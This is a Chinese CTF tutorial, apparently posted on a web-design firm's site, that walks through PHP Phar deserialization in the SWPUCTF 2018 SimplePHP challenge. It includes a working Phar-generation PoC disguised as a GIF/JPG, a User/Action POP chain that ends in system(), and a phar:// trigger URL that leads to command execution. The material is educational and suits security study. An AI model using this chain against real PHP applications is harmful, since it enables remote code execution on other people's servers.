十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

PHP Phar反序列化漏洞详解:从文件上传到命令执行的完整利用链

PHP Phar反序列化漏洞详解:从文件上传到命令执行的完整利用链 SWPUCTF 2018 里有一道叫 SimplePHP 的题目当年我刷到它的时候正好卡在“只会用 unserialize 打反序列化”的阶段。做完这道题我才意识到PHP 反序列化漏洞的入口远不止一个只要目标用了 phar:// 协议去操作文件一次普普通通的文件上传就可能变成命令执行的跳板。今天这篇文章就拿这道题当切入点从 Phar 文件结构讲到触发原理再把完整利用过程一步步拆开给所有想搞懂 Phar 反序列化的朋友一条可以直接照抄的路径。如果你已经熟悉 serialize/unserialize 的基本玩法但总觉得“反序列化只能靠 unserialize 函数触发”这个认知不太对劲那这篇文章正好帮你把这块拼图补上。如果你完全没接触过反序列化也不用慌我会尽量把每一个底层概念都揉碎了讲准备好 PHP 环境跟着敲一遍收获会非常直观。1. 先搞清楚这道题考的到底是什么1.1 考点拆解不止是反序列化SimplePHP 这道题表面上叫“简单”但它踩中的是当时很多人脑子里的盲区。传统 PHP 反序列化漏洞的出题方式通常是直接给你一个unserialize($_GET[data])的入口然后你在反序列化参数里塞一个精心构造的对象利用某个魔术方法做坏事。但 SimplePHP 不一样它的代码里可能根本找不到unserialize这个函数。那漏洞从哪来答案是文件上传 文件操作函数 Phar 协议。这三个点凑在一起形成了一条非常经典又非常隐蔽的攻击链题目提供一个文件上传功能允许你上传文件有时候还会做简单的图片头校验。题目里存在一个可控的文件读取或文件包含点参数能传入路径。攻击者把一个恶意对象序列化以后塞进 Phar 文件的元数据区然后把这个 Phar 文件伪装成普通图片上传上去。服务器在调用include、file_exists、file_get_contents等函数处理phar://路径时自动反序列化了元数据恶意对象苏醒命令执行。这种利用方式在 2018 年前后开始被大量讨论核心缓解思路也从“只防 unserialize”扩展到“所有文件操作函数都要防 phar://”。SimplePHP 就是在这个背景下拿出来考人的一道典型题。1.2 前置知识serialize、unserialize 与魔术方法在聊 Phar 反序列化之前得先把 PHP 对象序列化的基础打牢。PHP 里有一个serialize()函数可以把对象转成一段结构化的字符串还有一个unserialize()函数负责把字符串还原成对象。比如有一个简单的类class Test { public $name swpu; }执行serialize(new Test())后会得到O:4:Test:1:{s:4:name;s:4:swpu;}拆开看O:4:Test表示这是一个对象类名是 4 个字符的Test:1表示有 1 个属性s:4:name是属性名字符串类型长度为 4内容是names:4:swpu是属性值。这个格式不难理解无非是把对象拍扁成字符串。反序列化之所以危险关键在于 PHP 对象在创建、销毁、访问等节点会触发一系列“魔法方法”。最常见的有__destruct()对象被销毁时自动调用__wakeup()unserialize 后立刻调用__toString()对象被当作字符串使用时调用__call()调用不存在的方法时触发__get()访问不可访问的属性时触发攻击者构造恶意对象后即使自己不调用任何方法只要对象在反序列化流程中被创建、被销毁这些魔法方法就会自动执行。这正是反序列化漏洞的根源。1.3 反序列化漏洞为什么会“危险”很多新手学到这里会有一个疑问对象序列化本身只是个格式转换怎么会变成漏洞关键在于两点第一反序列化时的类名是可控的第二魔法方法是自动调用的。攻击者不需要依赖程序原本的业务逻辑只需要目标环境中有某个类能被利用。这种类通常满足两个条件它有魔法方法而且魔法方法执行了危险操作比如读写文件、命令执行、调用其他方法等。这类类被称为 gadget多条 gadget 串起来就构成一条 POP 链。在 SimplePHP 里题目故意在源码中放了一些可用的类比如某个类的__destruct里调用了system()或者某个类能读取文件。你要做的就是通过反序列化把这些类“拼”成一个目标对象。而拼装用的平台就是 Phar 的元数据区。2. Phar 文件与 phar:// 协议第二个反序列化入口2.1 认识 Phar 文件的四段结构Phar 是 PHP 自带的打包格式类似 Java 的 Jar。它允许你把多个文件打包成一个独立的 PHP 归档。一个标准 Phar 文件由四部分构成stub一段 PHP 代码必须有__HALT_COMPILER();作为结尾。这段代码在 Phar 被 PHP 直接加载时执行。manifest文件清单里面保存了每个文件的信息还包含一段可选的 metadata。contents被归档的实际文件内容。signature签名用于校验文件完整性可以是 SHA1、SHA256 等。关键点在 manifest。Phar 在生成时会把setMetadata()传入的对象序列化后存进 manifest 的 metadata 字段里。平时没什么问题但一旦这个 Phar 文件被phar://协议解析PHP 就会把 metadata 字段自动反序列化。你可以用下面的 PHP 代码生成一个带恶意 metadata 的 Phar 文件?php unlink(evil.phar); $phar new Phar(evil.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); $o new stdClass(); $o-flag triggered; $phar-setMetadata($o); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ?2.2 触发原理文件操作函数背后发生了什么Phar 扩展在 PHP 中注册了一个流包装器stream wrapper协议名就是phar://。当任何文件操作函数遇到以phar://开头的路径时PHP 会把这个路径交给 Phar 扩展的流包装器处理。流包装器的工作流程大致是这样的识别phar://协议。解析phar://后面的文件路径找到 Phar 文件。读取并解析 Phar 文件的 manifest。对 manifest 中的 metadata 字段执行unserialize。根据调用场景返回文件信息、文件内容或执行其他操作。注意第 4 步反序列化这个过程是自动发生的不需要目标代码里存在unserialize。这就相当于你把一个精心包装的“快递包裹”递给系统系统在签收的时候顺手执行了包裹里附带的“自动程序”。打个比方这就好像你去快递站取件快递员核对单号时顺手用扫码枪读了一下快递单上的二维码结果二维码里是一段指令快递员的终端自动执行了。终端本来只是想查一下物流信息却被连带执行了额外操作。2.3 哪些函数能触发 phar 反序列化这个问题非常关键。理论上所有支持流包装器的文件操作函数都可以在传入phar://路径时触发反序列化。我整理了一份常用列表实战中遇到这些要格外当心类别函数名文件存在性判断file_exists、is_file、is_dir、is_link、filetype文件读取file_get_contents、fopen、readfile、file、parse_ini_file文件写入/操作file_put_contents、copy、rename、unlink、chmod目录遍历opendir、scandir、glob、DirectoryIterator校验与元信息filesize、filemtime、fileowner、md5_file包含执行include、include_once、require、require_once不同函数在解析 Phar 时的行为有所不同include会把解析后的文件内容当成 PHP 代码执行file_get_contents会返回文件内容但它们在解析 Phar 文件的过程中都会先执行 metadata 的反序列化。这也是一个 phar 反序列化经常和任意文件包含、任意文件读取组合出现的原因。3. 源码分析漏洞藏在文件操作函数里3.1 题目功能点梳理不同平台复现的 SimplePHP 源码细节会有差别但骨架基本一致。我把最常见的结构还原出来index.php路由入口通过$_GET[file]接收参数然后动态包含文件。upload.php上传功能接收文件并把文件保存到uploads/目录文件名保留用户上传时的原名。class.php定义了一些类这些类里有可利用的魔术方法。flag.php存放 flag 的 PHP 文件正常情况下不直接输出。关键代码大概是这样的思路// index.php if (isset($_GET[file])) { $file $_GET[file]; include $file; } else { include upload.php; }// upload.php if (isset($_FILES[file])) { $name $_FILES[file][name]; $tmp $_FILES[file][tmp_name]; if (file_exists(uploads/ . $name)) { die(文件已存在); } move_uploaded_file($tmp, uploads/ . $name); echo 上传成功; }看到这段代码第一反应是什么$file参数直接拼进include这是标准的任意文件包含点。upload.php里file_exists和move_uploaded_file都出现了说明有文件上传功能而且文件名是用户可控的。这两个线索一结合Phar 反序列化的利用窗口就打开了。3.2 关键代码与 POP 链构造再看class.php里的类。为了让题目“简单”很多时候会直接给出一个非常直的 POP 链。比如这样?php class Action { public $cmd; public function run() { system($this-cmd); } } class User { public $action; public function __destruct() { $this-action-run(); } } ?分析一下这两个类User的__destruct方法在对象销毁时会调用$this-action-run()。Action的run方法直接执行system($this-cmd)。攻击者只要构造一个User对象把action属性设成一个Action对象cmd属性设成要执行的命令。当这个User对象被反序列化出来脚本结束后对象销毁__destruct触发system()执行命令跑起来了。这就是一条最短的 POP 链User::__destruct-Action::run-system()。3.3 解题思路文件上传到文件包含的闭环现在把整条思路串起来完整的利用闭环是这样的用User和Action构造恶意对象写入一个 Phar 文件的 metadata。把 Phar 文件改名成evil.jpg通过upload.php上传到服务器。访问index.php?filephar://uploads/evil.jpg。include遇到phar://解析uploads/evil.jpg。Phar 扩展反序列化 metadata生成User对象。脚本结束User对象销毁触发__destruct。Action::run()执行system()读取 flag。整个过程其实就是“上传一个看起来像图片的文件然后通过包含点触发它”。不要觉得这很绕实际比赛中这也是非常典型的出题方式。很多新手卡住不是因为不会反序列化而是因为没意识到include一个phar://路径会带来反序列化。4. 完整 PoC从构造 Phar 到拿到 flag 的每一步4.1 本地环境准备复现这道题只要有一个 PHP 环境就够了。Windows 上装个 phpstudyLinux 上直接 apt 装 PHP或者用 Docker 拉一个 php 镜像都行。我自己习惯用命令行起一个内建服务器方便调试php -S 127.0.0.1:8080 -t .这个命令会在当前目录启动一个 PHP 开发服务器把项目代码丢进去就能跑。生成 Phar 文件比较关键的一个前置条件是php.ini里phar.readonly必须为 0否则 Phar 类无法创建文件。命令行可以临时指定php -d phar.readonly0 gen_phar.php4.2 关键一步生成恶意 Phar 文件完整生成脚本如下类定义要和目标环境里的class.php保持一致?php // 与目标 class.php 保持一致 class Action { public $cmd cat /flag; public function run() { system($this-cmd); } } class User { public $action; public function __construct() { $this-action new Action(); } } unlink(evil.phar); $phar new Phar(evil.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); $phar-setMetadata(new User()); $phar-addFromString(test.txt, test); $phar-stopBuffering(); // 伪装成图片 rename(evil.phar, evil.jpg); echo done\n; ?这段脚本每个部分都有讲究setStub(GIF89a?php __HALT_COMPILER(); ?)把文件头伪装成 GIF 图片头。如果目标上传逻辑只检查文件头这个 stub 能直接蒙混过关。setMetadata(new User())把恶意对象序列化后写入 manifest。这就是触发反序列化时苏醒的那个对象。addFromString(test.txt, test)Phar 文件至少需要一个归档文件否则文件不合法。stopBuffering()停止写入缓冲同时生成签名。rename(evil.phar, evil.jpg)改后缀匹配上传点。运行后在同目录会得到evil.jpg它既是一个 Phar 文件看起来又像图片。注意new Phar()创建文件时如果 PHP 版本较高可能报 Phar 类不存在的错误。确认一下有没有启用 phar 扩展php -m | grep phar看一下。4.3 上传触发把 Phar 伪装成图片拿到evil.jpg后通过上传功能传到服务器。题目如果用的是move_uploaded_file且不做重命名那么文件会以evil.jpg的名字保存在uploads/目录下。接下来触发反序列化。由于index.php是include $file我们直接把file参数指向 Phar 路径http://127.0.0.1:8080/index.php?filephar://uploads/evil.jpginclude在处理phar://uploads/evil.jpg时会经历以下过程Phar 流包装器启动。打开uploads/evil.jpg。识别出这是一个 Phar 文件解析 manifest。反序列化 metadata生成User对象。尝试定位 Phar 归档里的默认执行文件。因为User对象被创建了脚本运行结束时对象销毁__destruct触发run()方法被执行system(cat /flag)把 flag 打在当前页面里。如果触发函数不是include而是file_exists或者file_get_contentsSo只要目标代码里有任意一个能接受phar://路径的文件操作函数整个利用链都能跑通。4.4 完整利用链复盘我把整条链路简化成一张自查表方便你复盘阶段关键动作对应责任方构造用目标类拼出恶意对象并写入 Phar攻击者伪装GIF89a 文件头 改名 .jpgstub 机制上传保存到 uploads 目录上传功能触发include phar:// 路径include/file_exists 等苏醒自动反序列化 metadataPhar 扩展执行__destruct - run() - system()恶意对象每一步都环环相扣缺一个都跑不通。把这六个阶段理解透Phar 反序列化对你来说就不再是玄学。5. 实战中容易踩的坑与排查技巧5.1 生成阶段phar.readonly 限制与版本问题这个坑基本是 100% 的初学者会遇到。直接运行new Phar()生成脚本如果报类似下面的错误Fatal error: Uncaught exception PharException with message Unable to create Phar (phar.readonly1)那就是php.ini里phar.readonly1默认开启不允许脚本动态生成 Phar 文件。临时解决方法是运行脚本时加参数php -d phar.readonly0 gen_phar.php或者修改php.ini把phar.readonly设成 0重启服务生效。另外注意 PHP 版本差异。PHP 8.0 之后对 Phar 的一些行为有调整比如__HALT_COMPILER的处理方式、某些函数对 Phar 路径的支持度。做这道题建议用 PHP 7.x 的环境兼容性最好。5.2 上传阶段后缀校验和文件头校验很多上传点会校验后缀比如只允许 jpg、png。改后缀到.jpg是最常见手段。如果题目还校验了图片头我们的 stub 里已经带了GIF89a能骗过一部分简单的getimagesize()检查。但要注意如果上传逻辑用了更严格的二次渲染比如用 GD 库重新生成图片Phar 内容会被破坏不再是一个合法的 Phar 文件。这时候只能看代码里有没有其他上传通道或者换一个能绕过二次渲染的思路。这道题正常情况下到evil.jpg改名这一步就够了如果实战中遇到二次渲染那是另一场硬仗。5.3 触发阶段路径写法和函数选择访问触发 URL 时路径写法要格外小心。phar://后面跟的路径是相对于服务器当前工作目录的路径不一定是 URL 里的路径。常见写法phar://uploads/evil.jpg phar://./uploads/evil.jpg phar:///var/www/html/uploads/evil.jpg如果你不确定绝对路径可以先尝试相对路径。还可以用file参数先读取自己的 Phas 文件内容确认路径正确。另外不同函数触发效果区别很大。include能触发file_exists能触发但move_uploaded_file这种针对 HTTP 上传临时文件的函数一般没法传phar://路径。要判断题目用的是什么函数老老实实翻一遍源码。5.4 排查思路不执行时从哪下手如果构造好了 Phar上传也成功了但访问触发 URL 没有任何反应按顺序排查这几个点先用普通文件测试file参数是否真的可控。比如index.php?fileindex.php能不能读到源码。确认上传后的文件路径。有时候上传功能会按时间戳重命名文件那就没法直接预测路径。确认 Phar 文件是否被破坏。可以先下载上传后的文件到本地用php -r var_dump(new Phar(evil.jpg));检查合法性。确认类名和属性名是否和题目源码一致。属性名写错反序列化后对象属性对不上__destruct里调用的方法就不存在。确认命令本身有没有问题。cat /flag在部分环境里 flag 可能叫flag.php建议先试ls /或者find / -name flag*看看。给你一个快速排查表现象可能原因处理方式生成 Phar 报错phar.readonly1加-d phar.readonly0上传后访问 404文件被重命名找重命名规则或直接读目录页面无输出命令执行失败先用ls验证命令执行没有触发反序列化包含函数不支持 phar换file_exists/fopen等方法反序列化报类不存在类名和源码不一致反编译源码按实际类名构造结尾这道题做完以后我对“反序列化漏洞”的理解彻底变了。以前总觉得反序列化就是从unserialize函数进去的后来才发现只要有 Phar 协议在文件操作函数的覆盖面远比想象中大。现在拿到一个 PHP 项目看到上传点和任意文件读取点我都会下意识地问一句这里能不能传phar://最后分享一个小技巧做题的时候不要只盯着漏洞点本身的函数多看看它的上下文。SimplePHP 这个题include $file本身很常见上传文件也很常见两个单独拎出来都算不上什么大问题但一组合就是一条完整的链。很多漏洞不是某个点多危险而是点与点之间的连接方式出了问题。你如果也卡在 Phar 反序列化这类题目上不妨从“这个文件操作函数能不能接住 phar:// 路径”这个角度重新审视一遍源码思路会清晰很多。
返回列表